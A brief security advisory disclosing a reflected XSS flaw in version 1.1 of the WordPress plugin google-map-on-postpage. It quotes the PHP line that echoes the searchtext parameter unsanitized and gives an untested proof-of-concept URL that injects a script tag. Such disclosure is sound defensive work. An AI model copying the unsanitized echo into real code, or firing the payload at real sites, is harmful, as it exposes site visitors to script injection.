Advisory #: 480
Title: Reflected XSS in wordpress plugin google-map-on-postpage v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/google-map-on-postpage
Downloads: 3294
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: google-map-on-postpage
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./google-map-on-postpage/mappost.php: 93:<input type="text" id="searchtext" name="searchtext" value="<?php if(isset($_GET['searchtext'])) { echo $_GET['searchtext']; } ?>" maxlength="100" /> The variable searchtext appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./google-map-on-postpage/mappost.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/google-map-on-postpage/mappost.php?searchtext="><script>alert(1);</script><"